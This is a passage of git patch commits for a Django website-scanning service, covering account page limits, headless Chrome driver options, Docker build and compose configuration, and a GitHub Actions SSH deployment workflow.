+                    new_post_img = post_img.crop((0, 0, post_img_w, pre_img_h)).convert(mode=pre_img.mode)
                     new_post_img.save(post_img_path, quality=100)
                     post_img = I.open(post_img_path)
 
diff --git a/requirements.txt b/requirements.txt
index 8300f623..6887ed19 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -4,7 +4,7 @@ beautifulsoup4==4.12.2
 billiard==3.6.4.0
 boto3==1.20.32
 celery==5.1.0
-certifi==2021.5.30
+certifi==2023.7.22
 chardet==4.0.0
 click==7.1.2
 click-didyoumean==0.0.3
@@ -39,7 +39,7 @@ requests==2.25.1
 reportlab==3.6.6
 scikit-image==0.21.0
 scipy==1.8.0
-selenium==4.1.3
+selenium==4.11.2
 sendgrid==6.9.7
 six==1.16.0
 slack-sdk==3.11.2

From cb63d50bd755221f616bc1fd0e573d9ce57de0cf Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 17 Sep 2023 15:40:56 -0500
Subject: [PATCH 0139/1099] update free account resources

---
 app/api/models.py           | 2 +-
 app/api/v1/auth/services.py | 5 +++++
 app/api/v1/billing/views.py | 5 +++++
 3 files changed, 11 insertions(+), 1 deletion(-)

diff --git a/app/api/models.py b/app/api/models.py
index 6f9107ad..a4ab2198 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -246,7 +246,7 @@ class Account(models.Model):
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')
     code = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     max_sites = models.IntegerField(serialize=True, null=True, blank=True, default=1)
-    max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=25)
+    max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=5)
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 6f36b4ff..1631754d 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -258,6 +258,7 @@ def create_or_update_account(request=None, *args, **kwargs):
         type = request.data.get('type')
         code = request.data.get('code')
         max_sites = request.data.get('max_sites')
+        max_pages = request.data.get('max_pages')
         cust_id = request.data.get('cust_id')
         sub_id = request.data.get('sub_id')
         product_id = request.data.get('product_id')
@@ -272,6 +273,7 @@ def create_or_update_account(request=None, *args, **kwargs):
         type = kwargs.get('type')
         code = kwargs.get('code')
         max_sites = kwargs.get('max_sites')
+        max_pages = kwargs.get('max_pages')
         cust_id = kwargs.get('cust_id')
         sub_id = kwargs.get('sub_id')
         product_id = kwargs.get('product_id')
@@ -297,6 +299,8 @@ def create_or_update_account(request=None, *args, **kwargs):
             account.code = code
         if max_sites is not None:
             account.max_sites = max_sites
+        if max_pages is not None:
+            account.max_pages = max_pages
         if cust_id is not None:
             account.cust_id = cust_id
         if sub_id is not None:
@@ -325,6 +329,7 @@ def create_or_update_account(request=None, *args, **kwargs):
             type=type,
             code=code,
             max_sites=max_sites,
+            max_pages=max_pages,
             cust_id=cust_id,
             sub_id=sub_id,
             product_id=product_id,
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index b2b4a525..bd197d43 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -192,6 +192,7 @@ def post(self, request):
                 'active': account.active,
                 'price_amount': account.price_amount,
                 'max_sites': account.max_sites,
+                'max_pages': account.max_pages,
                 'slack': {
                     'slack_name': account.slack['slack_name'], 
                     'bot_user_id': account.slack['bot_user_id'], 
@@ -219,12 +220,14 @@ def post(self, request):
         product_name = str(user.email + '_' + str(user.id) + '_' + name)
         price_amount = int(request.data.get('price_amount'))
         max_sites = int(request.data.get('max_sites'))
+        max_pages = int(request.data.get('max_pages'))
 
         if not Account.objects.filter(user=user).exists():
             create_or_update_account(
                 user=user,
                 type=name,
                 max_sites=max_sites,
+                max_pages=max_pages,
             )
 
         account = Account.objects.get(user=user)
@@ -280,6 +283,7 @@ def post(self, request):
             product_id = product.id,
             price_id = price.id,
             max_sites = max_sites,
+            max_pages = max_pages,
             price_amount = price_amount,
         )        
 
@@ -320,6 +324,7 @@ def post(self, request):
                     'active': account.active,
                     'price_amount': account.price_amount,
                     'max_sites': account.max_sites,
+                    'max_pages': account.max_pages,
                     'slack': {
                         'slack_name': account.slack['slack_name'], 
                         'bot_user_id': account.slack['bot_user_id'], 

From 18bc75ab53c4ca07fceeb488fc703aa7029d3370 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 19 Sep 2023 12:11:55 -0500
Subject: [PATCH 0140/1099] added new chrome argument

---
 app/api/utils/driver_p.py | 1 +
 app/api/utils/driver_s.py | 1 +
 2 files changed, 2 insertions(+)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index d058384c..de6a01aa 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -16,6 +16,7 @@ async def driver_init(
             '--no-sandbox', 
             '--disable-dev-shm-usage',
             '--force-device-scale-factor=0.5',
+            'ignore-certificate-errors'
             f'--window-size={window_size}',
         ],
         'defaultViewport': {
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 000ca100..fb8c7fee 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -38,6 +38,7 @@ def driver_init(
     options.add_argument("start-maximized")
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
+    options.add_argument("ignore-certificate-errors")
     options.add_argument("--force-device-scale-factor=0.5")
     options.add_argument("--window-size=%s" % window_size) 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})

From 388867ed07bdb7c0c5857b32f3ede0924aede910 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 3 Oct 2023 08:27:18 -0500
Subject: [PATCH 0141/1099] changed env back to dev

---
 docker-compose.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker-compose.yml b/docker-compose.yml
index 294b39f3..ea8397e6 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -32,7 +32,7 @@ services:
     ports:
       - "5432"
     env_file:
-      - ./env/.env.dev
+      - ./env/.env.local
     volumes: 
       - pgdata:/var/lib/postgresql/data
   

From a3024e0439c2306b9372f35ec9850232f7cf2fc7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 1 Dec 2023 11:35:38 -0700
Subject: [PATCH 0142/1099] added new configs for running locally

---
 Dockerfile.local          | 59 +++++++++++++++++++++++++++++++++++++++
 app/api/utils/driver_p.py | 17 +++++++----
 app/api/utils/driver_s.py | 19 ++++++++-----
 commands => commands.md   |  0
 docker-compose.yml        |  4 +--
 5 files changed, 84 insertions(+), 15 deletions(-)
 create mode 100644 Dockerfile.local
 rename commands => commands.md (100%)

diff --git a/Dockerfile.local b/Dockerfile.local
new file mode 100644
index 00000000..257b6136
--- /dev/null
+++ b/Dockerfile.local
@@ -0,0 +1,59 @@
+FROM --platform=linux/amd64 ubuntu:latest
+ENV PYTHONUNBUFFERED 1
+ENV DEBIAN_FRONTEND noninteractive
+
+# create the app user
+RUN addgroup --system app && adduser --system app 
+
+# installing python3 & pip
+RUN apt-get update && apt-get install -y python3 python3-pip
+
+# installing system deps || chromium-browser chromium-driver
+RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
+    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig 
+    
+# extra packages
+RUN apt-get install -y libglib2.0-0 libsm6 libxrender1 libxext6 libgl1
+
+# installing node and npm
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n && n lts
+
+# installing google-chrome-stable
+RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
+RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
+RUN rm google-chrome-stable_current_amd64.deb 
+
+# begin npm portion
+RUN npm cache clean --force
+
+# increasing allocated memory to node
+RUN export NODE_OPTIONS="--max-old-space-size=4096"
+ENV NODE_OPTIONS=--max_old_space_size=7000
+ENV NODE_OPTIONS="--max-old-space-size=7000"
+
+# installing lighthouse & yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+
+# telling phantomas where Chromium binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome-stable
+ENV DOCKERIZED yes
+
+# setting --no-sandbox for Phantomas 
+RUN google-chrome-stable --no-sandbox --version
+
+# installing requirements
+COPY ./requirements.txt /requirements.txt
+RUN python3 -m pip install -r /requirements.txt
+
+# setting working dir
+RUN mkdir /app
+COPY ./app /app
+WORKDIR /app
+
+# setting ownership
+RUN chown -R app:app /app
+RUN chown -R app:app /usr/bin/google-chrome-stable
\ No newline at end of file
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index de6a01aa..13472dba 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -55,6 +55,8 @@ async def interact_with_page(page):
 async def driver_test(*args, **options):
 
     print("Testing puppeteer instalation and integration...")
+    message = 'Puppeteer was unable to start\n\n'
+    status = 'Failed'
 
     try:
         driver = await driver_init()
@@ -65,16 +67,19 @@ async def driver_test(*args, **options):
         assert title == 'Google'
         if title == 'Google':
             status = 'Success'
-        else:
-            status = 'Failed'
-        await driver.close()
+            message = 'Puppeteer installed and working \N{check mark} \n'
+
     except Exception as e:
         print(e)
-        status = 'Failed'
 
-    sys.stdout.write('--- ' + status + ' ---\n'
-        + 'Puppeteer installed and working \N{check mark} \n'
+    sys.stdout.write(
+            '--- ' + status + ' ---\n'+ message
         )
+
+    try:
+        await driver.close()
+    except:
+        pass
    
 
 
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index fb8c7fee..061b5e92 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -58,6 +58,9 @@ def driver_init(
 def driver_test():
     
     print("Testing selenium instalation and integration...")
+    message = 'Selenium was unable to start\n\n'
+    status = 'Failed'
+
     try:
         driver = driver_init()
         driver.get('https://google.com')
@@ -65,18 +68,20 @@ def driver_test():
         assert title == 'Google'
         if title == 'Google':
             status = 'Success'
-        else:
-            status = 'Failed'
+            message = 'Selenium installed and working \N{check mark} \n\n'
+            
     except Exception as e:
         print(e)
-        status = 'Failed'
 
-    sys.stdout.write('--- ' + status + ' ---\n'
-        + 'Selenium installed and working \N{check mark} \n'
+    sys.stdout.write(
+            '--- ' + status + ' ---\n'+ message
         )
 
-    quit_driver(driver)
-    sys.exit(0)
+    try:
+        quit_driver(driver)
+        sys.exit(0)
+    except:
+        pass
 
 
 
diff --git a/commands b/commands.md
similarity index 100%
rename from commands
rename to commands.md
diff --git a/docker-compose.yml b/docker-compose.yml
index ea8397e6..bdd56fed 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -7,7 +7,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile
+      dockerfile: Dockerfile.local
     # image: landonr/scanerr-server
     ports:
       - "8000:8000"
@@ -46,7 +46,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile
+      dockerfile: Dockerfile.local
     # image: landonr/scanerr-server
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:

From cafa01123c3c7d3e0f58fb45a37340afd020ce97 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 16:29:58 -0500
Subject: [PATCH 0143/1099] added new system deps for yellowlabs

---
 Dockerfile | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index c573adbd..3f0a78e5 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -10,7 +10,17 @@ RUN apt-get update && apt-get install -y python3 python3-pip
 # installing system deps
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
-    libfontconfig
+    libfontconfig 
+
+# installing yellowlab-specific system deps
+RUN apt-get update && apt-get install -y libfreetype6 \ 
+    libatk-bridge2.0-0 gconf-service libasound2 \ 
+    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
+    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
+    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
+    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
+    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
+    libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
 
 # installing node and npm
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \

From 057b566fbd53b4dfe6c8eb720fce47c49edb07b1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 17:30:46 -0500
Subject: [PATCH 0144/1099] removed .prod extentions for Dockerfile

---
 docker-compose.dev.yml  | 2 +-
 docker-compose.prod.yml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index e1171a0d..c627aaae 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -46,7 +46,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.prod
+      dockerfile: Dockerfile
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:
       - ./app:/scanerr
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 38826afb..bde8193d 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -36,7 +36,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.prod
+      dockerfile: Dockerfile
     # image: landonr/scanerr-server
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:

From 33ba48cbccc6ea82f85671d905cafad11a65c174 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 17:46:33 -0500
Subject: [PATCH 0145/1099] testing chromium config removal

---
 Dockerfile | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 3f0a78e5..ad3b0986 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -58,4 +58,7 @@ WORKDIR /app
 
 # setting ownership
 RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/chromium
\ No newline at end of file
+RUN chown -R app:app /usr/bin/chromium
+
+# removing chromium config
+RUN rm -rf ~/.config/chromium
\ No newline at end of file

From 01012fd76775b79dbb07d0fb2e52e42c5481296b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 18:46:08 -0500
Subject: [PATCH 0146/1099] added collect static back to dev compose

---
 docker-compose.dev.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index c627aaae..fb5bb786 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -14,6 +14,7 @@ services:
       sh -c "python3 manage.py wait_for_db &&
              python3 manage.py makemigrations  --no-input &&
              python3 manage.py migrate  --no-input &&
+             python3 manage.py collectstatic --no-input &&
              python3 manage.py wait_for_db &&
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&

From da8f1156b7630df933164f465ad46db3130885cf Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 19:02:43 -0500
Subject: [PATCH 0147/1099] added --stack-size args to node

---
 Dockerfile | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index ad3b0986..1d11da2f 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,9 +29,13 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 RUN npm cache clean --force
 
 # increasing allocated memory to node
-RUN export NODE_OPTIONS="--max-old-space-size=4096"
+RUN export NODE_OPTIONS="--max-old-space-size=7000"
+RUN export NODE_OPTIONS="--stack-size=262000"
 ENV NODE_OPTIONS=--max_old_space_size=7000
 ENV NODE_OPTIONS="--max-old-space-size=7000"
+ENV NODE_OPTIONS=--stack-size=262000
+ENV NODE_OPTIONS="--stack-size=262000"
+
 
 # installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools

From 0e6ff1ee591d4a1c2331775aec50c1074e6bedb4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 19:05:17 -0500
Subject: [PATCH 0148/1099] testing config

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 1d11da2f..86fc0e76 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -33,7 +33,7 @@ RUN export NODE_OPTIONS="--max-old-space-size=7000"
 RUN export NODE_OPTIONS="--stack-size=262000"
 ENV NODE_OPTIONS=--max_old_space_size=7000
 ENV NODE_OPTIONS="--max-old-space-size=7000"
-ENV NODE_OPTIONS=--stack-size=262000
+ENV NODE_OPTIONS=--stack_size=262000
 ENV NODE_OPTIONS="--stack-size=262000"
 
 

From b451378772144cab4eecb90052dd2a06390c6f57 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 19:06:02 -0500
Subject: [PATCH 0149/1099] testing config

---
 Dockerfile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 86fc0e76..6d5beb2a 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -30,11 +30,11 @@ RUN npm cache clean --force
 
 # increasing allocated memory to node
 RUN export NODE_OPTIONS="--max-old-space-size=7000"
-RUN export NODE_OPTIONS="--stack-size=262000"
+RUN export NODE_OPTIONS="--stack_size=262000"
 ENV NODE_OPTIONS=--max_old_space_size=7000
 ENV NODE_OPTIONS="--max-old-space-size=7000"
 ENV NODE_OPTIONS=--stack_size=262000
-ENV NODE_OPTIONS="--stack-size=262000"
+ENV NODE_OPTIONS="--stack_size=262000"
 
 
 # installing lighthouse & yellowlabtools

From 138c0c4999d8bf676fa20df682c84c283bc9bff5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 19:07:05 -0500
Subject: [PATCH 0150/1099] testing config

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 6d5beb2a..d1d6706c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -30,7 +30,7 @@ RUN npm cache clean --force
 
 # increasing allocated memory to node
 RUN export NODE_OPTIONS="--max-old-space-size=7000"
-RUN export NODE_OPTIONS="--stack_size=262000"
+
 ENV NODE_OPTIONS=--max_old_space_size=7000
 ENV NODE_OPTIONS="--max-old-space-size=7000"
 ENV NODE_OPTIONS=--stack_size=262000

From 6a553ec97ae9688717a182a8c1663d4262ea1ca9 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 19:11:05 -0500
Subject: [PATCH 0151/1099] testing

---
 Dockerfile | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index d1d6706c..e4658fc7 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,12 +29,11 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 RUN npm cache clean --force
 
 # increasing allocated memory to node
-RUN export NODE_OPTIONS="--max-old-space-size=7000"
+RUN export NODE_OPTIONS="--max-old-space-size=262000"
+RUN "node --stack-size=262000"
+ENV NODE_OPTIONS=--max_old_space_size=262000
+ENV NODE_OPTIONS="--max-old-space-size=262000"
 
-ENV NODE_OPTIONS=--max_old_space_size=7000
-ENV NODE_OPTIONS="--max-old-space-size=7000"
-ENV NODE_OPTIONS=--stack_size=262000
-ENV NODE_OPTIONS="--stack_size=262000"
 
 
 # installing lighthouse & yellowlabtools

From df0ed61852a79293cb03cb9dc81a36cf7ed6014c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 19:12:19 -0500
Subject: [PATCH 0152/1099] testing config

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index e4658fc7..34aa9a87 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -30,7 +30,7 @@ RUN npm cache clean --force
 
 # increasing allocated memory to node
 RUN export NODE_OPTIONS="--max-old-space-size=262000"
-RUN "node --stack-size=262000"
+RUN node --stack-size=262000
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 

From c78f63cd89cccd254204205e975eba6a610d5215 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 08:43:37 -0500
Subject: [PATCH 0153/1099] testing chromium configs

---
 Dockerfile | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 34aa9a87..dfbc97b0 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,12 +34,9 @@ RUN node --stack-size=262000
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
-
-
 # installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 
-
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
@@ -47,8 +44,8 @@ ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
-# setting --no-sandbox for Phantomas 
-RUN chromium --no-sandbox --version
+# setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
+RUN chromium --no-sandbox --disable-dev-shm-usage --version
 
 # installing requirements
 COPY ./requirements.txt /requirements.txt

From 122e7dc89bcb197798249a0b75f88873b7104809 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 09:06:53 -0500
Subject: [PATCH 0154/1099] testing yellowlab deployment

---
 Dockerfile             |  4 ++--
 docker-compose.dev.yml | 18 ++++++++++++++++++
 2 files changed, 20 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index dfbc97b0..8b623ff2 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,8 +34,8 @@ RUN node --stack-size=262000
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
-# installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+# installing lighthouse & yellowlabtools -> yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash 
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index fb5bb786..a6e683d0 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -2,6 +2,7 @@ version: '3'
 
 services:
   app:
+    container_name: scanerr-app
     privileged: true
     init: true
     build:
@@ -43,6 +44,7 @@ services:
 
 
   celery:
+    container_name: scanerr-celery
     privileged: true
     restart: always
     build:
@@ -59,6 +61,22 @@ services:
       - db
 
 
+  yellowlab:
+    container_name: yellowlab
+    privileged: true
+    restart: always
+    image: ousamabenyounes/yellowlabtools
+    ports:
+      - "8383"
+    env_file:
+      - ./env/.env.dev
+    depends_on:
+      - redis
+      - app
+      - celery
+      - db
+
+
   nginx-proxy:
     container_name: nginx-proxy
     build: nginx

From 67312fbb1816a001bc0def6626c0b5aa21f1c119 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 09:21:52 -0500
Subject: [PATCH 0155/1099] reverted back from yellowlab deployment

---
 Dockerfile             |  5 +++--
 docker-compose.dev.yml | 28 ++++++++++++++--------------
 2 files changed, 17 insertions(+), 16 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 8b623ff2..4e6cd7fb 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -35,7 +35,7 @@ ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
 # installing lighthouse & yellowlabtools -> yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash 
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
@@ -45,7 +45,8 @@ ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
-RUN chromium --no-sandbox --disable-dev-shm-usage --version
+RUN chromium --no-sandbox
+RUN chromium --disable-dev-shm-usage
 
 # installing requirements
 COPY ./requirements.txt /requirements.txt
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index a6e683d0..039094e5 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -61,20 +61,20 @@ services:
       - db
 
 
-  yellowlab:
-    container_name: yellowlab
-    privileged: true
-    restart: always
-    image: ousamabenyounes/yellowlabtools
-    ports:
-      - "8383"
-    env_file:
-      - ./env/.env.dev
-    depends_on:
-      - redis
-      - app
-      - celery
-      - db
+  # yellowlab:
+  #   container_name: yellowlab
+  #   privileged: true
+  #   restart: always
+  #   image: ousamabenyounes/yellowlabtools
+  #   ports:
+  #     - "8383"
+  #   env_file:
+  #     - ./env/.env.dev
+  #   depends_on:
+  #     - redis
+  #     - app
+  #     - celery
+  #     - db
 
 
   nginx-proxy:

From 88178d4fcca92a5087e9911c81a3f2c79a210e0b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 09:59:28 -0500
Subject: [PATCH 0156/1099] adding new dev workflow

---
 .github/workflows/dev-deploy.yaml             | 30 +++++++++++++++++++
 .../{workflow.yml => k8s-deploy.yml}          |  2 +-
 2 files changed, 31 insertions(+), 1 deletion(-)
 create mode 100644 .github/workflows/dev-deploy.yaml
 rename .github/workflows/{workflow.yml => k8s-deploy.yml} (98%)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
new file mode 100644
index 00000000..bc257dd8
--- /dev/null
+++ b/.github/workflows/dev-deploy.yaml
@@ -0,0 +1,30 @@
+name: Deploy to dev
+
+# Controls when the action will run.
+on:
+  # Triggers the workflow on push request on the main branch for changes in the specified paths.
+  push:
+    branches:
+      - dev
+    paths:
+      - 'app/**'
+      - 'Dockerfile'
+      - 'docker-compose.dev.yml'
+      - '.github/workflows/**'
+
+jobs:
+  build:
+    name: Build
+    runs-on: ubuntu-latest
+    steps:
+    - name: pulling latest dev commit and rebuilding app
+      uses: appleboy/ssh-action@v1.0.0
+      with:
+        host: ${{ secrets.DEV_HOST }}
+        username: ${{ secrets.DEV_USER }}
+        key: ${{ secrets.DEV_KEY }}
+        script: | 
+          cd ~/app
+          git pull origin dev
+          docker compose -f docker-compose.dev.yml down
+          docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
diff --git a/.github/workflows/workflow.yml b/.github/workflows/k8s-deploy.yml
similarity index 98%
rename from .github/workflows/workflow.yml
rename to .github/workflows/k8s-deploy.yml
index 040d46dd..2a9a6b93 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/k8s-deploy.yml
@@ -2,7 +2,7 @@
 # deploy the application on a DIgitalOcean Kubernetes cluster. For description to the entire worklow, 
 # see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
 
-name: Build, push, and deploy
+name: Deploy to scanerr-k8s
 
 # Controls when the action will run.
 on:

From 64a8ff2af55603981f3a359c37688ec17348c91b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:02:32 -0500
Subject: [PATCH 0157/1099] trying to fix cmd failure for chromium

---
 Dockerfile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 4e6cd7fb..3c32d09f 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -45,8 +45,8 @@ ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
-RUN chromium --no-sandbox
-RUN chromium --disable-dev-shm-usage
+RUN chromium --no-sandbox --version
+RUN chromium --disable-dev-shm-usage  --version
 
 # installing requirements
 COPY ./requirements.txt /requirements.txt

From ae2b1952e270117869ba4266a28219c06e546c3f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:11:40 -0500
